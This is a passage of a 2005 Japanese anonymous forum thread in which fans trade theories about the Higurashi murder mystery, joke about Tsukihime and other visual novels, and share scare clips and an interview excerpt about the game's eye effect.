ってか確定した推理ないの？あと鷹野がトミー殺した説の結論も聞きたいんだが･･･ ログ漁らなきゃ駄目････？ 715 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:32:39 ID:p7mOCGoJ0 鷹野がトニーを殺したって説は、つまり消去法なんだよね 716 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:41:04 ID:TMWLI6Zw0 ミヨ以外だと接近だけで警戒される可能性高いんだよな 祟りの噂知ってるわけだし 717 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:41:56 ID:p7mOCGoJ0 鷹野以外が殺せないんだから当然犯人は鷹野だよな。 718 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:42:36 ID:Q8yAlEqJ0 やってみたけどまったくわからんかった。 推理とかﾏﾝﾄﾞｸｾ。 月姫のほうが文章上手いわ 719 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:44:11 ID:p7mOCGoJ0 月姫ってよく聞くけどやっぱおもしろい？ 720 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:45:57 ID:TMWLI6Zw0 >>719 エロゲープレイ出来て絵に耐えられるならそれなりには 入手が難しくなってるけど 721 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:46:27 ID:JKV7KiKe0 月姫は入手困難だから安易に人に勧められないゲームなんだよな… 今、手に入れたいならnyとか使うか、ヤフオクでプレミアついた数万の高値で買うかしかない 俺は好きだし、ひぐらしの作者も大好きなんだろうけどｗｗｗｗｗｗ 722 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:48:56 ID:p7mOCGoJ0 入手困難なのか。残念。 まぁギャルゲに耐性ないし、いいけど。 723 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:49:05 ID:B0q4sigm0 そこで仕方なくFate買った俺が来ましたよ 724 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:49:30 ID:08Dh9CkE0 >>721 竜騎士07さんはかなりType-moon信者だと思うのは俺だけ？ 725 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:52:22 ID:08Dh9CkE0 >>723 Fateと月姫は場所違うけど時間軸一緒な希ガス あれ、いつの間にtype-moon雑談スレにｗｗｗｗｗｗｗｗｗｗｗｗｗ 726 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:53:34 ID:p7mOCGoJ0 回答編は占星術殺人事件みたいな感じだと分かりやすくていいかもな 727 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:54:05 ID:JKV7KiKe0 >>722 ヤフオクの相場は3万前後 定価の10倍だお（^ω^；） >>724 信者でないなら知恵先生はいないだろｗｗｗｗ きのこか武内かと対談もしてたし… 728 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:55:40 ID:C4GV54zg0 ギャルゲ耐性ゼロだったから、最初のギャグパートに 何回挫折した事やら…orz 某サイトのひぐらし紹介で ひぐらしを例えるなら、上に激甘生クリームのたっぷり乗っかった激辛カレー。 激辛カレーに到達するには激甘生クリームを完食しなければならない。 しかし、その甘さと辛さのギャップが癖になる。 と書いていたが、なるほどなぁ、と思った。 729 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:58:04 ID:p7mOCGoJ0 まぁぶっちゃげ構成力不足だと思うけどな、あの長さは。 一時間チョイくらいになるように調整するべき。 730 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:58:13 ID:8c89jy7p0 >>722 ソフトだけ欲しいってんならヲタっぽい友達とっつかまえれば どっかからは入手可能かもしれんな。 多分友達の友達…くらいまで行けば誰かが持ってると思う 731 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/07(火) 23:58:18 ID:08Dh9CkE0 >>727 やっぱ知恵留美子はちえるみこ→シエ(ry ｗｗｗｗｗｗ それなら一連の事件の犯人は････吸血ｋ(ry ｗｗｗｗｗｗｗｗｗｗｗｗ 732 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:01:12 ID:jZ4nv3va0 >>730 変人な友人の在庫はいっぱいだから探せばあるかもな。無論タダで。 733 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:05:35 ID:A5wsEl620 うちの姉ちゃんに月姫やらせたら、ボロボロ泣いてキモかったｗｗｗｗｗ 734 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:06:33 ID:jZ4nv3va0 泣くのかｗ 姉ちゃん萌え 735 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:06:51 ID:jZ4nv3va0 つうか何で俺には姉ちゃんがいないんだ 736 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:07:01 ID:C87p2FkI0 だからヘッドホンつけて深夜プレイしろっつってんだろうがぁ！！！！！！！！！！！！！！！！ 737 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:10:17 ID:A5wsEl620 >>734 「こっ、琥珀さんが、琥珀さんが…・ﾟ・(つД｀)・ﾟ・ 」 エロゲで泣く実の姉に俺ドン引き 738 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:10:56 ID:jZ4nv3va0 >>737 いらないの？ じゃあちょうだい 739 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:11:44 ID:jJMcagRT0 あは だしちゃえ 740 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:12:13 ID:5eDepZvj0 今暇潰し編終わったんだが・・・ なんていうか・・・ 741 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:12:20 ID:aI8iJPCe0 >>737 そんなおまいにナースでメガネだけどタッパ174あって家で屁をこく俺の妹をプレゼント 742 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:13:13 ID:cdMV2hh/0 流れがアレなんでちょっとお遊び感覚で 消去遊び、人物を削る＆足す作業を一緒にしてくれ 富竹ジロウ（仮） 死亡推定時刻 昭和58年6月19日 午後9時～11時 犯行が可能な人物 前原圭一 園崎魅音 園崎詩音 竜宮レナ 古手梨花 北条沙都子 北条鉄平 大石蔵人 鷹野三四 入江京介 園崎一派 富竹ジロウ（自殺の場合 富竹ジロウ（死体が別人の場合 村人 743 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:13:19 ID:M8XiFy890 >>737 「ま、真琴が、真琴が・ﾟ・(つД｀)・ﾟ・ 」 エロゲで泣いて実の妹に引かれたｗｗｗｗｗｗｗｗｗｗ 744 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:14:30 ID:/861oNsX0 これが俺の答えだ！ http://k-kura.net/upload/source/kura0014.zip ほんとはこの３倍くらい言いたいことあったんだけどめんどくて省略した 質問があったらどうぞ 745 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:15:05 ID:lCHEINCR0 >>743 お前は俺の兄か？ 746 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:15:16 ID:xxDpIsov0 祟り殺し編でトミー殺害の犯人は鷹野さんだと確信したな 747 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:15:36 ID:C87p2FkI0 >>743 お前は俺のひいおじいちゃんか 748 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:19:36 ID:LM5lbaHF0 >>742 魅音と詩音は無理だ 祭の後に園崎本家で飲み会やっちゃうから 梨花と沙都子も共犯でないと無理 同じ家に済んでるし 圭一とレナは親と同居なんだよね 蔵人も警察で警備に回ってるからきつい 749 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:20:15 ID:aI8iJPCe0 富竹ジロウ（仮） 死亡推定時刻 昭和58年6月19日 午後9時～11時 犯行が可能な人物 園崎魅音 古手梨花 北条沙都子 大石蔵人 鷹野三四 入江京介 園崎一派 富竹ジロウ（自殺の場合 富竹ジロウ（死体が別人の場合 村人 削除人物 前原圭一 園崎詩音 竜宮レナ 北条鉄平 K１はなんぼなんでも無し 詩音、レナ、鉄平は動機と接点がほぼ無いため 750 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:20:56 ID:5eDepZvj0 まあどう考えても犯人はヤスだよな 751 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:21:18 ID:A5wsEl620 >>738 これからノーブラシーズン突入だから駄目 752 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:24:30 ID:jZ4nv3va0 >>751 ……仕方がない。うちの妹とトレードだ。秘蔵っ子だが手段は選んでられない。 753 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:28:21 ID:cdMV2hh/0 >>744 なかなかに面白い イリーのくだりは大臣誘拐の時点（昭和53年）ですでに雛見沢にいるから 政府から派遣されたってのは微妙だよね ただ個人的には未知の薬物だとか未知の生物とかは うはｗｗｗｗまじかよｗｗｗｗｗｗ竜ちゃん勘弁してくれｗｗｗｗｗｗｗおｋｗｗｗｗ と思ってる俺サガット 754 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:31:08 ID:cdMV2hh/0 大臣は誘拐されてねーなｗｗｗｗｗ大臣の孫ねｗｗｗｗｗ 755 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:31:19 ID:lCHEINCR0 >>744 「あー･･･なるほどねぇ」 でも虫嫌いなのでパス 756 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:33:04 ID:vUIuVjbA0 これ正解を当てたのは一人だけだったから正解率1％ってフレーズにしたらしいね とりあえず今から体験版やってみる 757 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:33:46 ID:cdMV2hh/0 >>748-749 富竹ジロウ（仮） 死亡推定時刻 昭和58年6月19日 午後9時～11時 犯行が可能な人物 鷹野三四 入江京介 園崎一派 富竹ジロウ（自殺の場合 富竹ジロウ（死体が別人の場合 村人 あっというまにこんなに少なくなるな・・・ まぁ意図がわからんと無駄なんだがなｗｗｗｗｗ 抜けてる人物が居たら足してね 758 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:34:41 ID:jZ4nv3va0 >>756 ずっと疑問に思ってたんだけど、それってどの段階での１％なんだろ。 テストプレイでの段階ならたいしたことないんでねーか。 759 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:37:21 ID:M8XiFy890 >>758 鬼隠しのテストプレイヤーが100人中1人だけ正解したらしい 760 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:38:02 ID:jZ4nv3va0 >>759 ……あ、そう 761 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:38:43 ID:5eDepZvj0 その一人すげえな 762 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:40:32 ID:M8XiFy890 >>760 つまり鬼隠しだけでも正解に辿り着けるってことだよね？ 今ではさらに正答率が高いらしい。ってか聞いといてその態度はないと思う。 763 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:41:52 ID:jZ4nv3va0 >>762 スマン。ちょっとがっくりきた。 764 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:43:32 ID:0Mgn4N2Q0 >>744 読んだお。 そういう話もありかと思ったが、>>753に同意で未知の薬物や生物などは無しで 解明できる謎であってほしいと思う自分がいる。 765 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:44:09 ID:Bh8zs3qH0 とりあえずK1が死ななかった理由のヒント つ【注射器】 766 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:47:06 ID:cdMV2hh/0 >>765 K1が死ななかった話・・・・ねーじゃねーかｗｗｗｗｗｗｗｗｗｗ 767 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:47:16 ID:sfAy3OdV0 １００人に１人でも正解した人が居るとするなら、未知の薬物とかじゃない明確な答えがあるんジャマイカ。 768 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:50:04 ID:aI8iJPCe0 >>744 「あ～…なるほどねぇ」 でもミヨ、４年間の事件が全く無関係で実はエイリアンでしたってなったらそれこそ ;;(⌒～ ∧∧ ほぅら見えたぞ、あれが竜騎士の家だ (⌒⌒;;(⌒～ ヽ( ﾟ∀ﾟ)/ 初めて見るけどよく知ってる、くっけっけっけ！！！ (⌒;; (⌒⌒;;(⌒～ ( ) ぐぎゃぎゃぎゃぎゃ！！！ (⌒;; (⌒⌒;;(⌒ ≡≡ミ ぐぎゃぎゃぎゃぎゃ！！！ うひょ ってなるんだが あとレナが帰ってきてから１年もたってるのにホイホイと数日で何人も寄生したりすんのはなんぼなんでも 「虫」ありきで考えたご都合主義っぽい気がする。 とりあえずその考察に過去４年間の事件とミヨ行方不明の考察を加えていただきたい 769 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:52:14 ID:aI8iJPCe0 鬼隠ししかやってなくて１００人に1人だったらそこまで突拍子でもない答えじゃないっぽいな。 目明しまでやってると鬼隠しの「謎」とされている部分でいくつかは消えるし 推理の材料の量は比べ物にならないくらい増えてるわけだから。 770 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 00:55:07 ID:cdMV2hh/0 >>765 ちょｗｗｗくわしくｗｗｗｗｗ（´・ω・） 771 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:01:08 ID:cdMV2hh/0 やべー誰もいねえｗｗｗｗｗｗｗｗｗ 772 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:01:31 ID:afoPOVPh0 やあ(´･ω･｀) 773 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:02:27 ID:cdMV2hh/0 （´・ω・）ｻﾐｼｽ 774 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:02:56 ID:yi9vMvkG0 ３年前 「３４」歯の治療 祭準備後の夜 「３４」？絞殺 祭当日 鷹野三四、祭具殿に入る 「３４」岐阜山中で焼かれる さて、ここで考えるポイントは「３４」が５５年から５８年の間に 事故死でもしたらどうなっていたか、という事 名義変えがあったとして計画的なものなら ５８年まで生き延びなかった場合どうなったか？ それとも生かせる自信があったか。 775 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:04:45 ID:/861oNsX0 やっぱ虫は賛同もらえないよなぁ でも人の手だけだとあからさまに説明がつかないとこもあるし多少は非現実的なものが混ざっているとは思う >>768 過去の事件については警察が全て解明してる。 それを「オヤシロさまの祟りだ」とか「園崎家の陰謀だ」と最初から思い込んでるのは雛見沢村人と主人公達。 物語最初からずっと「これは一連の事件で陰謀があるんだ」と周りに言われ続ければこっちも思い込んじゃうけど 実際は警察が調べた通りの事件で裏など存在しないというのが俺の考え。 実際に物語に絡んでくるのは去年と今年だけ。 メモと違うこと言うけど３４に関してはイリーの助手でトミーに卵を仕込んだ張本人。 んで経過を観察してたって考える方が自然かな。 でもこれだと殺されるor身代わりを立てて姿を消す理由が出てこない 逆にメモ通り何も知らない単なる雛見沢村の風俗に興味がある一般人とした場合、 トミーの孵化の現場に居合わせてそのまま政府（イリー）関係者に拉致→殺害ってのが成り立つけど･･･ 県外で目立つように燃やされたってのはちょいと不自然かな？ もう少し考えてみる 776 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:07:51 ID:A5wsEl620 これいいな 今の時間聞くと怖いけど http://www99.sakura.ne.jp/~wave/product/nakanaide/nakanaide2.html 777 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:10:11 ID:M8XiFy890 シナリオ選択の時の音楽で泣き声が聞こえてﾃﾗｺﾜｽｗｗｗｗｗｗｗｗ 778 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:18:55 ID:LM5lbaHF0 >>774 別に死んでもいいのかもしれん 死ななかったから入れ替わりに使っただけで 779 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:28:16 ID:lCHEINCR0 トミーって結局何者なんだ？ 鷹野さんとは協力者みたいだが、 祭具殿に入らなかったことから雛見沢の風俗とかは目的じゃなさそうだし。 過去の事件を調査してるのか、もしくは過去の事件の関係者か。 ところで風呂場に黒い虫がいるんだけど、オヤシロさまでしょうか？ 780 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:30:17 ID:jZ4nv3va0 踏んで死ななかったらオヤシロ様です 781 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:31:58 ID:LM5lbaHF0 お前らオヤシロさまを何だと思って 782 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:33:07 ID:/861oNsX0 なんか推理に疲れたから綿流しやって魅音に萌えてくる 魅音かーいいよー魅音･･･はぅ･･･ 783 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:36:14 ID:lCHEINCR0 黒光りするオヤシロさまが怖いので寝る… お前らがんばって解明してくれﾉｼ 784 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:36:27 ID:W2xR2rVe0 祟り殺しを再プレイ中。 沙都子が学校へこなくなったところまで来ましたよ。うん。 進みたくない。 785 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:36:54 ID:M8XiFy890 >>779 野鳥専門のフリーカメラマン(自称） 実際はゴシップ誌のカメラマンかなと思っている。過去に起こった事件や、雛見沢の歴史に詳しい鷹野と組んで、雛見沢の秘密を調べ証拠をつかんでゴシップ誌に掲載、みたいな事を考えてるとか。 786 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:43:17 ID:afoPOVPh0 祟殺しまで終わったがさっぱりわからんなｗｗｗ アフォだからなｗｗｗｗｗｗｗｗｗ 787 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:45:50 ID:M8XiFy890 >>786 初回プレイで解決できるほうがアフォｗｗｗｗｗｗｗｗｗｗｗ 俺は何回やっても訳ﾜｶﾗﾅｻｽなんだがｗｗｗｗｗｗｗｗ 788 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:46:40 ID:HV1sayzL0 >>787 いいIDだｗｗｗｗ 789 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:48:28 ID:afoPOVPh0 >>788 昨日の俺のIDは「K1」って文字が含まれてたんだよｗｗｗｗｗｗｗｗｗｗ 俺ｗｗｗｗｗｗｗｗｗｗｗやバスｗｗｗｗｗｗｗｗｗｗｗくけけけけけけけけっけ 790 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:49:47 ID:M8XiFy890 >>788 え、どこが？ 俺、真性のアフォだからわかんない。ｗｗｗｗｗｗｗｗｗｗ 791 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:54:49 ID:HV1sayzL0 >>789 うはｗｗｗｗおまいIDｽｺﾞｽｷﾞｗｗｗｗ >>790 ｺﾞﾒｽｗｗｗｗｗｗｗアンカーミスった俺が一番ｱﾌｫｗｗｗｗｗｗｗｗ 792 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 01:59:43 ID:LM5lbaHF0 全部に説明付く推理できたかもしれない ちょっと纏めてからうｐするわ 793 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:00:26 ID:cdMV2hh/0 >>792 ﾜｸﾃｶ 794 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:02:58 ID:/861oNsX0 >>792 俺の仇をとってくれ 795 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:03:55 ID:LM5lbaHF0 つまりこの事件はたった一つの 実に些細でそして取り返しの付かない勘違いから始まるってことだ 始まっていて、それでいて終わりなんだけど ちょっとこれは自信があるぜ 796 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:04:58 ID:afoPOVPh0 レナって結局どんな奴なんだ？ かなりコワスなんだが 797 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:06:06 ID:A5wsEl620 >>795 おお、何か期待できそうじゃん でも俺もう眠いから明日の朝八時までスレ保持よろしくｗｗｗ 798 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:07:22 ID:cdMV2hh/0 >>795 ∧＿∧ （ ・∀・） ﾄﾞｷﾄﾞｷ （ ∪ ∪ と＿_）__） 799 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:08:33 ID:afoPOVPh0 １㌫くるーーーーーーーーーー？ 800 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:09:26 ID:rXuaRym90 さて、どうなるやら 801 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:11:20 ID:6HeOwepl0 フレデリカの詩を竜騎士07からプレイヤーへのメッセージだと仮定した上で、鬼隠し編の詩を考えてみる。 どうか嘆かないで。 世界があなたを許さなくても、私はあなたを許します。 どうか嘆かないで。 あなたが世界を許さなくても、私はあなたを許します。 だから教えてください。 あなたはどうしたら、私を許してくれますか？ あなた＝プレイヤー、私＝竜騎士07、世界＝ひぐらし とすると 上2段落はそれぞれ 世界が貴方を許さない→ひぐらしの世界を貴方が理解する事が出来ない 貴方が世界を許さない→貴方がそんなひぐらしの世界を不愉快に思う このように解釈できる。この通りに読み替えてみると わからなくたって竜騎士07は怒りません ムカついて途中で止めても竜騎士07は怒りません だから教えてください、どうしたらプレイヤーは竜騎士07を許してくれますか？ となる。 この事から考えられる事はただ一つ、ひぐらしの結末はプレイヤーにとって許せない結末だと言う事。 そう、つまり犯人はオヤシロさま＝ドラえもんで、全ての事件はふしぎ道具によって起こされているんだよ！（AAｒｙ 802 ： ◆FNgYSoldnc ：2005/06/08(水) 02:11:40 ID:F4Fg57ll0 テスツ 803 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:12:22 ID:afoPOVPh0 >>801 な、なんだってーーーーー！（AAｒｙ 804 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:12:35 ID:A5wsEl620 >>801 ttp://coolsummer.typepad.com/./photos/uncategorized/nandatte2005022402.jpg 805 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:12:35 ID:rXuaRym90 >>801 いい答えだ、キバヤシ とりあえず地下祭具殿に行こうか 806 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:13:31 ID:/861oNsX0 それなら犯人虫でもいいよｎうわなにをするやめｄｆｒｔｇｙふｊきｌ； 807 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:13:40 ID:pCk3E/I60 落ち込んできた……。 虐待とかじゃなくて、怪奇事件とかがおきてくれよーぅ。 808 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:14:19 ID:afoPOVPh0 >>801 http://www.vipper.org/vip26630.jpg 809 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:15:08 ID:rXuaRym90 >>807 突っ走れ 大丈夫だ、君の期待は最大限裏切られる 最悪の形でな 810 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:15:17 ID:aktapYrZ0 >>807 ヒント：闇から闇。新聞に大きく出てくるよーなものは無いww 811 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:17:04 ID:afoPOVPh0 もう深夜にプレイできねえｗｗｗｗｗｗｗｗｗ 812 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:19:33 ID:pCk3E/I60 なぜかIDが変わってるけど、再プレイ中の>>784なんだな。 現実にありえる鬱話は辛いれす。 ここまでの推理に、最悪にもう一つ最悪が加わってるものもあってうっひょう！ 沙都子好きには地獄だぜ！ 813 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:20:32 ID:afoPOVPh0 >>812 俺祟殺し編さっき終わったところだｗｗｗｗｗｗｗ 814 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:26:02 ID:UkkWheP80 うおおおおおおおぉ。誰だよ鬼隠し編が１番怖いなんて言ったやつ・・・。 とりあえず鬼隠しやっておもしろかったから今綿流しの途中なんだが・・・怖すぎ！ 何シオンと電話してていきなり くけけけけけけけけけけけ けけけけけけけけけけけけ けけけけけけけけけけけけ けけけけけけけけけけけけ けけけけけけけけけけけけ っとか言い出したと思ったら目がぁ～目がぁ～～ 815 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:27:00 ID:ldCbnUD20 いまから綿流し編の途中からやるお たしか夏祭り前（＾ω＾） 816 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:28:03 ID:6HeOwepl0 おまいらノリがよろしいですねｗｗｗｗｗｗｗｗ レナもオヤシロさまの祟りも拷問も怖いので漏れはもう寝ますよっと。 ところで、うちの裏庭の防犯砂利がさっきじゃりじゃりと啼いたんですがこれはオヤシロさまの仕業ですか？ 817 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:29:11 ID:A5wsEl620 >>814 俺はそれでｶﾞｸﾌﾞﾙになって、デスクトップに作ってたひぐらしアイコン見るのも怖くなった 818 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:30:23 ID:afoPOVPh0 >>817 あれはマジでびびった で、綿流し編の真犯人て誰だっけ？ 819 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:31:12 ID:C87p2FkI0 >>814 もう一度味あわせてやる！ひぐらしの恐ろしさをなぁ！！ http://www.fileup.org/file/fup23996.wmv （推奨）ヘッドホンして部屋を暗くしてからご視聴ください 820 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:31:33 ID:rXuaRym90 >>818 目明しやってないならほんと聞かない方がいいぞ 821 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:32:02 ID:A5wsEl620 >>818 え？（^ω^；） 822 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:32:03 ID:UkkWheP80 >>818 今やってるから言わないでー！ ヤバイ・・・怖くて寝れないから朝までやるか・・・。 もうあそこまでやばいシーンはないっしょ？ 823 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:32:25 ID:afoPOVPh0 >>820 おｋｗｗｗｗｗｗでも、今は怖くてできねｗｗｗｗｗｗ 824 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:33:05 ID:UkkWheP80 >>819 どんなグロ画像だろうがブラクラだろうが大体踏むが、 正直それはマジ無理な件 825 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:33:08 ID:rXuaRym90 でも、あの目の演出は正直蛇足だったと思う あそこだけ3流スプラッター映画の怖さじゃないか びっくりさせて怖がらせるなんて それ以降もビックリ系の演出があるかと思って純粋に恐怖や推理を楽しめなかったよ 826 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:34:51 ID:UkkWheP80 ところで綿流しは自分で頑張れば解ける話？ 今メモとりながら一生懸命やってるんだが鬼隠しの難易度じゃ無理だお 827 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:35:05 ID:C87p2FkI0 >>825 じゃあ聞くがあの目はなんだ？KOOLを覗いてたのは一体誰？ 828 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:36:22 ID:afoPOVPh0 >>827 レナｗｗｗｗｗｗｗｗｗｗ 829 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:37:15 ID:rXuaRym90 >>826 綿流し単体の部分だけならとても簡単 目明しやるまでもなく解ける人間多数 共通部分はさっぱり解けないが しかしそれであっても目明しで号泣するのも事実 830 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:37:36 ID:A5wsEl620 >>827 >>504 831 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:38:38 ID:rXuaRym90 >>827 いや、あのときの話し相手そのものじゃないのか？ 他の可能性までは邪推しすぎだと思ったんだけど 832 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:39:15 ID:afoPOVPh0 >>829 綿流し単体で解けなかった俺ｗｗｗｗｗｗｗバカスｗｗｗｗｗｗｗ 833 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:39:27 ID:UkkWheP80 >>829 頑張ってみるわｗｗｗｗ とりあえず怖いけど綿流しを続ける 834 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:40:11 ID:pCk3E/I60 公式に沙都子のバスタオル姿があってさ、KOOLが家に避難させる計画を立ててんの。 だから「お風呂上がりにドッキリ☆」イベントがあると思ったのに……。 あばばばばばばばばばばば 835 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:40:18 ID:C87p2FkI0 >>830 http://www.imgup.org/file/iup38264.jpg 836 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:43:18 ID:afoPOVPh0 >>835 誰が見るもんか 837 ：以下、名無しにかわりましてVIPがお送りします ：2005/06/08(水) 02:44:25 ID:A5wsEl620 >>835 http://www.toranoana.jp/higurasi/nakasekata/higurashi_sai03.html ―― 既にあちこちで話に出てますが、例の「ひぐらし目」は八咫桜さんが？ ［竜］八咫桜さんが始めたもので、私は指示してないです。彼もphotoshopが少々使えるんですが、編集程度で絵は描けないんです。 ところが知らない間に、目を水色に塗り潰したカットを差し込んでいて、私がテストで「ふんふんふん♪」とか鼻歌まじりでやってたら、 いきなりあの目が出てきてのけぞった（笑） …で「いいねコレ！どうしたの？使おう使おう！俺ちゃんとこの目描くよ！」という事で「ひぐらし目」が出来たんです。 ところが、私が丁寧に描いた「ひぐらし目」よりも八咫桜さんがエアブラシツールかなんかで適当に塗った最初の「ひぐらし目」の方が怖い（笑） ―― じゃあ竜騎士さんがあの目を最初に見たときは普通のプレーヤーと同じようにビクっと？ 